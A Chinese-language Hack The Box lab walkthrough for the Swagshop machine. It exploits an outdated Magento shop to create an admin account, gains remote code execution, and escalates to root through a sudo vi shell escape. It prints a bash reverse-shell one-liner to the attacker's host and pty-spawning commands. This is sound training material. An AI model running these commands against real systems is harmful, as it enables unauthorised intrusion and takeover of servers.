【HTB系列】 靶机Swagshop的渗透测试详解

本文作者:是大方子(Ms08067实验室核心成员)




总结与反思




  • 使用

  • magento漏洞的利用

  • magescan 工具的使用


靶机介绍





靶机IP:10.10.10.140

kali:10.10.12.69



先用nmap来对靶机进行探测

nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140

扫描结果

1576044151(1).png

开放了22 和 80端口,直接打开访问下网页

Magento是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。

设计得非常灵活,具有模块化架构体系和丰富的功能。易于与第三方应用系统无缝集成。在设计

上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富


接下来就是网页上进行信息收集。


首先是下面的版权,2014年可以为找漏洞的线索


我们随便点开网页有一个比较奇怪的地方,感觉像是URL重写,前面都会多一个index.php


通过gubuster,跑出来的目录也没有什么用


这样收集的信息也不是很够,我们还需要另外的工具进行辅助

magescan 专门针对magento的扫描器

下载地址:https://github.com/steverobbins/magescan/releases

1576044340.png

1576044340(1).png

1576044340(2).png

1576044340(3).png

1576044340(4).png

从扫描结果我们可以看到magento的版本大概为1.9.0.0, 1.9.0.1。


敏感路径:

/app/etc/local.xml(有线索)
/index.php/rss/order/NEW/new(无用)
/shopadmin/



接下来用searchsploit来找下magento现在已经的漏洞

通过 -x 参数可以看到这些EXP的内容

主要是用到这两个:

第一个,用来进行远程代码执行(但是需要通过身份验证) 。

第二个,可以用来创建管理员账号密码(给第一个EXP的利用创造条件)。 


先试用第二个EXP,创建管理员账号密码 通过-m 参数可以吧EXP复制到当前路径


然后对EXP进行修改,这里修改3个地方。

  1. 在之前我们也看到,网页前面都会增加index.php,所以这里我们也要加,否则。你自己可以试试看会是包


  2. 这里修改我们增加管理的账号密码


  3. 修改下输出信息,方便成功后能直观看到我们的账号密码



然后执行下

我们尝试登录下

成功登录


接下来就是利用另一个EXP,来进行远程代码执行

重新编辑下EXP

我们可以看到我们需要配置的地方

username:dfz 
password:dfz 
php_function:我们不需要修改 
install_data:在上面我们发现的/app/etc/local.xml可以查询到


配置好的信息如下:


开始执行

可以看到mechanize报了一个找不到元素的错,mechanize是python里面模拟浏览器操作的模块。结合它需要管理员账号密码,这里应该填的是管理员页面地址。

可以看到命令执行成功


那么我们就用它反弹shell

无法正常反弹!

这里猜测,可能是因为这串代码传到服务器的时候 可能因为空格或者是其他的异常的符导致服务器执行失败之前我们看到whoami命令是可以正常执行的。那么我们就把代码换成这样

python 37811.py http://10.10.10.140/index.php/admin "bash ‐c 'bash ‐i >&/dev/tcp/10.10.12.69/4444 0>&1' "


这样当服务器解析到bash -c 时 可以把后面单引号内的内容执行,防止意外干扰

成功!我们看下自己的sudo权限

可以看到我们使用vi和使用目录/var/www/html是不需要密码就能获得root权限的。


第一反应就是使用vi来进行提权,先使用python的pty

python ‐c "import pty;pty.spawn('/bin/bash')"

发现没有python,但是我们可以用python3

python3 ‐c "import pty;pty.spawn('/bin/bash')"

然后在处理方向键等乱码问题。

先ctrl+z 把进程挂到后台,然后输入stty raw -echo,在输入fg(不会显示出来),多按几次回车即可

然后需要使用vi进行提权,需要注意的是:

  1. 要增加sudo

  2. vi要输入文件的绝对路径

    sudo vi /var/www/html/sdfzy
    vi开启后进入命令行模式,然后执行命令
    :!/bin/bash



即可拿到root权限!

本文作者:Ms08067安全实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/120258.html

Tags:
评论  (0)
快来写下你的想法吧!

Ms08067安全实验室

文章数:51 积分: 154

已出版《Web安全攻防》《内网安全攻防》《Python安全攻防》《JAVA代码安全审计(入门篇)》等书

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号